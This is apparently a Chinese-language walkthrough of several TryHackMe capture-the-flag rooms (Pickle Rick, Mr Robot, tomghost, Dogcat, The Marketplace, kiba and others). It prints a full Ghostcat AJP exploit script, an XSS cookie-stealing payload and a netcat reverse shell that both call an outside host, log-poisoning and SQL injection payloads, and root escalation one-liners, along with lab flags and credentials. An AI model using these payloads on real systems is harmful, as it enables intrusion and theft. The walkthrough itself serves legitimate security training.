Starters
文章目录
Rickle Rick
Task1 Pickle Rick
1.What is the first ingredient Rick needs?
查看源代码,源代码注释中发现 用户名R1ckRul3s
对网站进行目录遍历发现login.php与robots.txt,查看robots.txt内容得到Wubbalubbadubdub,猜测为密码
登录发现命令执行页面,whoami查看账户为www-data,la -a查看目录下文件,在Sup3rS3cretPickl3Ingred.txt中得到第一种原料为 mr. meeseek hair
2.Whats the second ingredient Rick needs?
使用;符号在Commands页面同时执行多个命令,因为不能使用cat命令查看使用less命令代替,在/home/rick文件夹下发现second ingredients文件
jerry tear
3.Whats the final ingredient Rick needs?
运行sudo -l命令发现命令框可以无需密码执行sudo,sudo ls /root查看root目录下文件发现3rd.txt,读取文件发现第三种成分
fleeb juice
Mr Rebot CTF
Task1 Connect to our network
nmap扫描确认端口开启状况,靶机只开启了80/443web端口和22端口,中间件为Apache
Task2 Hack the machine
1.What is key 1?
目录扫描发现CMS wordpress,在rebots.txt文件发现两个文件,发现key-1of-3.txt文件为第一个key 073403c8a58a1f80d943455fb30724b9,fsocity.dic疑似字典文件
2.What is key 2?
在http://ip/license最下方发现ZWxsaW90OkVSMjgtMDY1Mgo=,base64解码为elliot:ER28-0652,在wordpress登录页面输入账密登录成功,fsocity.dic字典文件中也有wordpress账密。
在wordpress后台页面Appearance-Editor页面允许用户编辑主题404.php文件,修改php文件为反弹shell,使用Godzilla连接php文件路径 http://10.10.162.244/wp-content/themes/twentyfifteen/404.php
在用户/home/robot家目录下发现key-2-of-3.txt ,无法访问,但可以访问password.raw-md5文件robot:c3fcd3d76192e4007dfb496cca67e13b
在CrackStation网站解密得到robot密码为 abcdefghijklmnopqrstuvwxyz
得到robot用户账密尝试使用ssh登录,无法登录;在wordpress后台修改另一php文件为反弹shell的php文件,本地监听4444端口,浏览器访问反弹shellphp文件地址,得到反弹shell;切换robot用户提示必须在终端运行,执行python代码获取完整shell;成功切换用户。
python -c "import pty;pty.spawn('/bin/bash')"
在robot用户家目录下找到key-2-of-3.txt,得到key2为822c73956184f694993bede3eb39f959。
3.What is key 3?
sudo -l报错robot用户不能运行sudo命令;
使用语句查询靶机上所有有S权限的可执行文件
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
发现nmap具有S标志位,可以以root权限执行,查询nmap版本,确定nmap版本为3.8.1。
nmap交互式模式可在版本 2.02 到 5.21 上使用,可用于执行shell命令。
/usr/local/bin/nmap --interactive
nmap> !sh
在root用户家目录下,发现key-3-of-3.txt,得到key3为04787ddef27c3dee1ee161b21670b4e4。
tomghost
Task1 Flags
nmap扫描发现开启8080和8009端口,运行Tomcat和AJP;
在exploit-db.com搜索AJP找到疑似利用Apache Tomcat - AJP 'Ghostcat File Read/Inclusion - Multiple webapps Exploit (exploit-db.com)任意文件读取漏洞;
#!/usr/bin/env python
#CNVD-2020-10487 Tomcat-Ajp lfi
#by ydhcui
import struct
# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
def pack_string(s):
if s is None:
return struct.pack(">h", -1)
l = len(s)
return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
def unpack(stream, fmt):
size = struct.calcsize(fmt)
buf = stream.read(size)
return struct.unpack(fmt, buf)
def unpack_string(stream):
size, = unpack(stream, ">h")
if size == -1: # null string
return None
res, = unpack(stream, "%ds" % size)
stream.read(1) # \0
return res
class NotFoundException(Exception):
pass
class AjpBodyRequest(object):
# server == web server, container == servlet
SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
MAX_REQUEST_LENGTH = 8186
def __init__(self, data_stream, data_len, data_direction=None):
self.data_stream = data_stream
self.data_len = data_len
self.data_direction = data_direction
def serialize(self):
data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
if len(data) == 0:
return struct.pack(">bbH", 0x12, 0x34, 0x00)
else:
res = struct.pack(">H", len(data))
res += data
if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
header = struct.pack(">bbH", 0x12, 0x34, len(res))
else:
header = struct.pack(">bbH", 0x41, 0x42, len(res))
return header + res
def send_and_receive(self, socket, stream):
while True:
data = self.serialize()
socket.send(data)
r = AjpResponse.receive(stream)
while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
r = AjpResponse.receive(stream)
if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
break
class AjpForwardRequest(object):
_, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)
REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}
# server == web server, container == servlet
SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
COMMON_HEADERS = ["SC_REQ_ACCEPT",
"SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",
"SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",
"SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
]
ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
def __init__(self, data_direction=None):
self.prefix_code = 0x02
self.method = None
self.protocol = None
self.req_uri = None
self.remote_addr = None
self.remote_host = None
self.server_name = None
self.server_port = None
self.is_ssl = None
self.num_headers = None
self.request_headers = None
self.attributes = None
self.data_direction = data_direction
def pack_headers(self):
self.num_headers = len(self.request_headers)
res = ""
res = struct.pack(">h", self.num_headers)
for h_name in self.request_headers:
if h_name.startswith("SC_REQ"):
code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
res += struct.pack("BB", 0xA0, code)
else:
res += pack_string(h_name)
res += pack_string(self.request_headers[h_name])
return res
def pack_attributes(self):
res = b""
for attr in self.attributes:
a_name = attr['name']
code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
res += struct.pack("b", code)
if a_name == "req_attribute":
aa_name, a_value = attr['value']
res += pack_string(aa_name)
res += pack_string(a_value)
else:
res += pack_string(attr['value'])
res += struct.pack("B", 0xFF)
return res
def serialize(self):
res = ""
res = struct.pack("bb", self.prefix_code, self.method)
res += pack_string(self.protocol)
res += pack_string(self.req_uri)
res += pack_string(self.remote_addr)
res += pack_string(self.remote_host)
res += pack_string(self.server_name)
res += struct.pack(">h", self.server_port)
res += struct.pack("?", self.is_ssl)
res += self.pack_headers()
res += self.pack_attributes()
if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
header = struct.pack(">bbh", 0x12, 0x34, len(res))
else:
header = struct.pack(">bbh", 0x41, 0x42, len(res))
return header + res
def parse(self, raw_packet):
stream = StringIO(raw_packet)
self.magic1, self.magic2, data_len = unpack(stream, "bbH")
self.prefix_code, self.method = unpack(stream, "bb")
self.protocol = unpack_string(stream)
self.req_uri = unpack_string(stream)
self.remote_addr = unpack_string(stream)
self.remote_host = unpack_string(stream)
self.server_name = unpack_string(stream)
self.server_port = unpack(stream, ">h")
self.is_ssl = unpack(stream, "?")
self.num_headers, = unpack(stream, ">H")
self.request_headers = {}
for i in range(self.num_headers):
code, = unpack(stream, ">H")
if code > 0xA000:
h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
else:
h_name = unpack(stream, "%ds" % code)
stream.read(1) # \0
h_value = unpack_string(stream)
self.request_headers[h_name] = h_value
def send_and_receive(self, socket, stream, save_cookies=False):
res = []
i = socket.sendall(self.serialize())
if self.method == AjpForwardRequest.POST:
return res
r = AjpResponse.receive(stream)
assert r.prefix_code == AjpResponse.SEND_HEADERS
res.append(r)
if save_cookies and 'Set-Cookie' in r.response_headers:
self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']
# read body chunks and end response packets
while True:
r = AjpResponse.receive(stream)
res.append(r)
if r.prefix_code == AjpResponse.END_RESPONSE:
break
elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
continue
else:
raise NotImplementedError
break
return res
class AjpResponse(object):
_,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
COMMON_SEND_HEADERS = [
"Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
"Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
]
def parse(self, stream):
# read headers
self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")
if self.prefix_code == AjpResponse.SEND_HEADERS:
self.parse_send_headers(stream)
elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
self.parse_send_body_chunk(stream)
elif self.prefix_code == AjpResponse.END_RESPONSE:
self.parse_end_response(stream)
elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
self.parse_get_body_chunk(stream)
else:
raise NotImplementedError
def parse_send_headers(self, stream):
self.http_status_code, = unpack(stream, ">H")
self.http_status_msg = unpack_string(stream)
self.num_headers, = unpack(stream, ">H")
self.response_headers = {}
for i in range(self.num_headers):
code, = unpack(stream, ">H")
if code <= 0xA000: # custom header
h_name, = unpack(stream, "%ds" % code)
stream.read(1) # \0
h_value = unpack_string(stream)
else:
h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]
h_value = unpack_string(stream)
self.response_headers[h_name] = h_value
def parse_send_body_chunk(self, stream):
self.data_length, = unpack(stream, ">H")
self.data = stream.read(self.data_length+1)
def parse_end_response(self, stream):
self.reuse, = unpack(stream, "b")
def parse_get_body_chunk(self, stream):
rlen, = unpack(stream, ">H")
return rlen
@staticmethod
def receive(stream):
r = AjpResponse()
r.parse(stream)
return r
import socket
def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
fr.method = method
fr.protocol = "HTTP/1.1"
fr.req_uri = req_uri
fr.remote_addr = target_host
fr.remote_host = None
fr.server_name = target_host
fr.server_port = 80
fr.request_headers = {
'SC_REQ_ACCEPT': 'text/html',
'SC_REQ_CONNECTION': 'keep-alive',
'SC_REQ_CONTENT_LENGTH': '0',
'SC_REQ_HOST': target_host,
'SC_REQ_USER_AGENT': 'Mozilla',
'Accept-Encoding': 'gzip, deflate, sdch',
'Accept-Language': 'en-US,en;q=0.5',
'Upgrade-Insecure-Requests': '1',
'Cache-Control': 'max-age=0'
}
fr.is_ssl = False
fr.attributes = []
return fr
class Tomcat(object):
def __init__(self, target_host, target_port):
self.target_host = target_host
self.target_port = target_port
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.socket.connect((target_host, target_port))
self.stream = self.socket.makefile("rb", bufsize=0)
def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
self.req_uri = req_uri
self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
if user is not None and password is not None:
self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '')
for h in headers:
self.forward_request.request_headers[h] = headers[h]
for a in attributes:
self.forward_request.attributes.append(a)
responses = self.forward_request.send_and_receive(self.socket, self.stream)
if len(responses) == 0:
return None, None
snd_hdrs_res = responses[0]
data_res = responses[1:-1]
if len(data_res) == 0:
print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
return snd_hdrs_res, data_res
'''
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
'''
import argparse
parser = argparse.ArgumentParser()
parser.add_argument("target", type=str, help="Hostname or IP to attack")
parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
args = parser.parse_args()
t = Tomcat(args.target, args.port)
_,data = t.perform_request('/asdf',attributes=[
{'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},
{'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},
{'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},
])
print('----------------------------')
print("".join([d.data for d in data]))
运行exp得到ssh账密 skyfuck:8730281lkjlkjdqlksalks,成功登录
1.Compromise this machine and obtain user.txt
在skyfuck家目录发现credential.pgp和tryhackme.asc文件,使用asc文件可以解密pgp文件,尝试解密发现需要输入密码;使用john提供的gpg2john工具,将asc文件转化为hash文件供john破解,解密得到密码alexandru;
解密credential.gpg文件得到账密merlin:asuyusdoiuqoilkda312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123j,切换用户成功;
在merlin用户家目录下发现user.txt,得到flag为THM{GhostCat_1s_so_cr4sy}
2.Escalate privileges and obtain root.txt
运行sudo -l
发现merlin用户无需密码即可以root用户身份运行zip程序;
在GTFOBins搜索zip,发现提权攻略zip | GTFOBins,成功提权;
Dogcat
Task1 Dogcat
nmap扫描发现开启80端口与22端口;
查看80端口部署的站点,发现view参数存在文件包含漏洞;包含文件地址需要包括cat或者dog,还有php base64过滤,使用伪协议php://filter/convert.base64-encode/resource=./dog/../index
成功包含网页源代码;
base64解码源代码进行分析,view参数后需要添加ext参数;
<?php
function containsStr($str, $substr) {
return strpos($str, $substr) !== false;
}
$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
if(isset($_GET['view'])) {
if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
echo 'Here you go!';
include $_GET['view'] . $ext;
} else {
echo 'Sorry, only dogs or cats are allowed.';
}
}
?>
访问页面http://ip/?view=./dog/…/…/…/…/etc/passwd&ext ,成功获取敏感文件;
因为此站点没有提供文件上传点,将一句话木马写入服务器日志中,访问http://ip/?view=<?php system($_GET['cmd']);?>(注:在浏览器发送请求会被URL编码,需要在burp中发送请求)
再文件包含服务器日志,访问http://ip/?view=./dog/…/…/…/…/…/var/log/apache2/access.log&ext&cmd=commond,在返回响应中即可看到命令执行结果;
在cmd中写入命令curl http://本机IP/shell.php -o shell.php
,浏览器发送请求,下载反弹shell文件到靶机;本机监听端口,浏览器访问http://ip/shell.php,即可获取反弹shell.
1.What is flag 1?
在web目录下找到flag.php文件,得到flag1为THM{Th1s_1s_N0t_4_Catdog_ab67edfa}
2.What is flag 2?
运行sudo -l查看sudo权限,发现无需密码以root用户身份运行/usr/bin/env;
搜索找到提权方法env | GTFOBins,运行sudo env /bin/sh
即可获取root权限
运行命令find / -name "flag*" 2>/dev/null
搜索flag文件
在/var/www/目录下找到flag2_QMW7JvaY2LvK.txt文件,得到flag2为THM{LF1_t0_RC3_aec3fb}
3.What is flag 3?
在/root目录下找到flag3.txt文件,得到flag3为THM{D1ff3r3nt_3nv1ronments_874112}
4.What is flag 4?
虽然获取了root权限,但我们是在容器中,我们需要找到容器与宿主机的共享目录即/opt/backups目录,目录下发现shell脚本来打包文件,这个备份可能是定期执行的;
将反弹shell脚本写入脚本,本机监听端口,等待脚本执行,成功获取反弹shell,在家目录发现flag4.txt,得到flag4为THM{esc4l4tions_on_esc4l4tions_on_esc4l4tions_7a52b17dba6ebb0dc38bc1049bcba02d}
Git Happens
Task1 Capture the Flag
nmap扫描发现靶机只开启了80端口,
对80端口进行目录扫描,发现了隐藏目录.git,靶机存在.get目录泄露
1.Find the Super Secret Password
使用githack下载项目
githack http://10.10.235.145/.git
____ _ _ _ _ _
/ ___(_) |_| | | | __ _ ___| | __
| | _| | __| |_| |/ _` |/ __| |/ /
| |_| | | |_| _ | (_| | (__| <
\____|_|\__|_| |_|\__,_|\___|_|\_\{0.0.5}
A '.git' folder disclosure exploit.
[*] Check Depends
[+] Check depends end
[*] Set Paths
[*] Target Url: http://10.10.235.145/.git/
[*] Initialize Target
[*] Try to Clone straightly
[*] Clone
Cloning into 'D:\Pentestbox\bin\customtools\Directory\GitHack\dist\10.10.235.145'... fatal: repository 'http://10.10.235.145/.git/' not found
[-] Clone Error
[*] Try to Clone with Directory Listing
[*] http://10.10.235.145/.git/ is support Directory Listing
[*] Initialize Git
[*] logs/refs/heads/master
[*] logs/HEAD
[*] objects/06/012255f074d7bc4acc6fadbcff004380b5f83b
[*] objects/08/906612dfe6821cebc21794eb85601fc4f54de9
[*] objects/0e/0de07611ada4690fc0ea5b5c04721ba6f3fd0d
[*] objects/0e/abcfcd62467d64fb30b889e8de5886e028c3ed
[*] objects/20/9515b2f7cbdfb731d275c4b089e41ba35c3bc8
[*] objects/2e/b93ac3534155069a8ef59cb25b9c1971d5d199
[*] objects/2f/423697bf81fe5956684f66fb6fc6596a1903cc
[*] objects/39/5e087334d613d5e423cdf8f7be27196a360459
[*] objects/3a/39b02d3b9d12222bac4737ee67e31403d62f13
[*] objects/48/926fdeb371c8ba174b1669d102e8c873afabf1
[*] objects/4a/2aab268541cbcc434e0565b4f4f2deca29ee5f
[*] objects/4c/f757268c6824041664d132a29908aa9c362a26
[*] objects/4e/7178fa5b68fec15e54f2b79ace6f9ce0169e01
[*] objects/56/820adbbd5ac0f66f61916122c94ea52937e9b2
[*] objects/5a/35c9b7c787c22f689d0364cf57b013a11561a2
[*] objects/66/64f4e548df7591da3728d7662b6376debfce8d
[*] objects/77/aab78e2624ec9400f9ed3f43a6f0c942eeb82d
[*] objects/7c/578d86a8713b67af2cb1b1d7c524c23cefe7aa
[*] objects/87/bcbcb476578c6cc90ed39f9404292539fe1c9c
[*] objects/8c/94b154aef92380e29a3f16f1a889b56127cf13
[*] objects/9d/74a92581071ae7c4a470ff035e0de4598877e5
[*] objects/ae/f68b1e25df81a8c96ee4d57b20cc9f7a1ebee5
[*] objects/b8/6ab47bacf3550a5450b0eb324e36ce46ba73f1
[*] objects/ba/5e4a76e3f7b6c49850c41716f8f1091fbdc84e
[*] objects/bc/8054d9d95854d278359a432b6d97c27e24061d
[*] objects/ce/b8d530ebcf79806dffc981905ec8c2e0d7a65b
[*] objects/d0/b3578a628889f38c0affb1b75457146a4678e5
[*] objects/d6/df4000639981d032f628af2b4d03b8eff31213
[*] objects/d9/54a99b96ff11c37a558a5d93ce52d0f3702a7d
[*] objects/dd/13038df878d41b774ce4fd4552091d46873c25
[*] objects/e3/8d9df9b13e6499b749e36e064ec30f2fa45657
[*] objects/e5/6eaa8e29b589976f33d76bc58a0c4dfb9315b1
[*] objects/f1/4bcee8053e39eeb414053db4ec7b985f65edc8
[*] refs/heads/master
[*] index
[*] packed-refs
[*] packed-refs
[*] config
[*] HEAD
[*] Valid Repository
[+] Valid Repository Success
[+] Clone Success. Dist File : D:\Pentestbox\bin\customtools\Directory\GitHack\dist\10.10.235.145
使用git log
命令查看提交日志,在初次提交中找到账密;
使用命令git show 395e087334d613d5e423cdf8f7be27196a360459
查看初次提交内容,找到账密admin:Th1s_1s_4_L0ng_4nd_S3cur3_P4ssw0rd;
+ <script>
+ function login() {
+ let form = document.getElementById("login-form");
+ console.log(form.elements);
+ let username = form.elements["username"].value;
+ let password = form.elements["password"].value;
+ if (
+ username === "admin" &&
+ password === "Th1s_1s_4_L0ng_4nd_S3cur3_P4ssw0rd!"
+ ) {
+ document.cookie = "login=1";
Nax
Task1 Flag
nmap扫描发现开启了22\80\443\389等端口;
1.What hidden file did you find?
PI3T.PNg
浏览器访问web,发现页面下方存在密文Ag - Hg - Ta - Sb - Po - Pd - Hg - Pt - Lr
,这些符号代表了化学元素,将元素符号转化为相应的原子序数得到47 80 73 51 84 46 80 78 103
;
原子序数与ASCII表对照,可以使用Modular conversion, encoding and encryption online — Cryptii转换得到隐藏文件/PI3T.PNg;
2.Who is the creator of the file?
Piet Mondrian
使用exif查看图片信息得到图片创建者为Piet Mondrian
3.If you get an error running the tool on your downloaded image about an unknown ppm format – open it with gimp or another paint program and export to ppm format, and try again!
参考DM’s Esoteric Programming Languages - Piet Samples (dangermouse.net),这是一个piet编写的程序,可以使用GitHub - gleitz/npiet: a language where the programs are works of modern art (updated for OSX)编译运行,会不停打印相同字符
BertNase’s Own - npiet fun! piet语言在线运行
nagiosadmin%n3p3UQ&9BjLp4$7uhWdY
4.What is the username you found?
nagiosadmin
5.What is the password you found?
n3p3UQ&9BjLp4$7uhWd
6.What is the CVE number for this vulnerability? This will be in the format: CVE-0000-0000
CVE-2019-15949
使用账密nagiosadmin:n3p3UQ&9BjLp4$7uhWdY登录Nagios,在Check For Updates页面发现版本为5.5.6,在exploit-db上搜索找到Nagios XI - Authenticated Remote Command Execution (Metasploit) - Linux remote Exploit (exploit-db.com),涉及漏洞CVE-2019-15949;
7.Now that we’ve found our vulnerability, let’s find our exploit. For this section of the room, we’ll use the Metasploit module associated with this exploit. Let’s go ahead and start Metasploit using the command msfconsole
.
8.After Metasploit has started, let’s search for our target exploit using the command ‘search applicationame’. What is the full path (starting with exploit) for the exploitation module?
9.Compromise the machine and locate user.txt
THM{84b17add1d72a9f2e99c33bc568ae0f1}
10.Locate root.txt
THM{c89b2e39c83067503a6508b21ed6e962}
The Marketplace
Task1 The Marketplace
nmap扫描发现开启22\80和32768端口;
1.What is flag 1?
THM{c37a63895910e478f28669b048c348d5}
访问web页面80与32768端口上为相同站点;
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tyCb4XkJ-1635917283631)(https://gitee.com/zhangwenbo1229/picgo/raw/master/main/20211102144518.png)]
注册站点后登录,New listing页面上传功能前端禁止,修改前端参数后尝试上传发现无上传接口;用户输入无特殊字符限制,存在XSS漏洞;
在页面中输入如下xss payload尝试获取自己的cookie,本机监听1234端口,成功获取自己的cookie;
<script>fetch("http://ip:1234/"+document.cookie</script>")
我们要获取管理员的cookie需要让管理员执行xss,页面下方有链接报告给管理员,再次监听1234端口,点击report,成功获取管理员cookie;
在浏览器中修改自己的cookie为管理员的cookie,即可以管理员用户身份登录,访问管理员页面,得到flag1为THM{c37a63895910e478f28669b048c348d5}
2.What is flag 2? (User.txt)
THM{c3648ee7af1369676e3e4b15da6dc0b4}
点击下方用户显示,查看用户信息http://10.10.1.69/admin?user=1接口存在SQL注入,尝试手工注入;
确定注入点为数字型注入,使用以下payload,在数据库中得到ssh账密jake:@b_ENXkGYUCAv3zJ
union select 1,group_concat(message_content,'\n'),3,4 from marketplace.messages-- -
登录后在jake家目录下,找到user.txt,得到flag2为THM{c3648ee7af1369676e3e4b15da6dc0b4}
3.What is flag 3? (Root.txt)
运行sudo -l,发现允许以michael用户身份运行backup.sh;
查看这个脚本,使用tar命令和通配符备份文件;
#!/bin/bash
echo "Backing up files...";
tar cf /opt/backups/backup.tar *
参考Exploiting Wildcard for Privilege Escalation (hackingarticles.in)利用tar命令+通配符提权,
jake@the-marketplace:/opt/backups$ echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.17.14.110 1234 >/tmp/f" > shell.sh
jake@the-marketplace:/opt/backups$ chmod 777 backup.tar shell.sh
jake@the-marketplace:/opt/backups$ echo "" > "--checkpoint-action=exec=sh shell.sh"
jake@the-marketplace:/opt/backups$ echo "" > --checkpoint=1
jake@the-marketplace:/opt/backups$ sudo -u michael /opt/backups/backup.sh
Backing up files...
tar: backup.tar: file is the archive; not dumped
^Cjake@the-marketplace:/opt/backups$ sudo -u michael /opt/backups/backup.sh
Backing up files...
tar: backup.tar: file is the archive; not dumped
本机监听端口1234,即可获得michael用户的反弹shell;运行id命令,发现用户处于docker组中,可以运行docker命令;
参考docker | GTFOBins,运行命令docker run -v /:/mnt --rm -it alpine chroot /mnt sh
成功获取root权限;在root目录下找到root.txt,得到flag3为THM{d4f76179c80c0dcf46e0f8e43c9abd62}
kiba
Task1 Flags
nmap扫描发现开启22\80\5601等端口,浏览器访问5601端口即可找到kibana服务;
1.What is the vulnerability that is specific to programming languages with prototype-based inheritance?
Prototype pollution
原型污染漏洞
2.What is the version of visualization dashboard installed in the server?
6.5.4
3.What is the CVE number for this vulnerability? This will be in the format: CVE-0000-0000
CVE-2019-7609
CVE - CVE-2019-7609 (mitre.org) kibana任意代码执行漏洞
- 漏洞的影响的版本是 5.6.15 版本以及 6.6.1 版本以前。
- Kibana 需要安装了 Canvas 插件。
- 目前公开的 POC 因为使用了 linux 特有的环境变量,所以目前这个 POC 只能作用于 linux 机器。
4.Compromise the machine and locate user.txt
THM{1s_easy_pwn3d_k1bana_w1th_rce}
https://github.com/LandGrey/CVE-2019-7609
使用CVE-2019-7609漏洞利用脚本,执行获取反弹shell;
在kiba用户家目录下发现user.txt,得到flag为THM{1s_easy_pwn3d_k1bana_w1th_rce};
5.Capabilities is a concept that provides a security system that allows “divide” root privileges into different values
6.How would you recursively list all of these capabilities?
getcap -r /
getcap命令查看进程所具有的能力,cap_setuid+ep代表允许python3程序改变进程UID,可以进行提权;
7.Escalate privileges and obtain root.txt
THM{pr1v1lege_escalat1on_us1ng_capab1l1t1es}
执行./python3 -c ‘import os; os.setuid(0); os.system(“/bin/bash”)’\
获取shell,即可获取python3程序所有者root用户的权限;
在root用户目录下找到root.txt,得到flag为THM{pr1v1lege_escalat1on_us1ng_capab1l1t1es};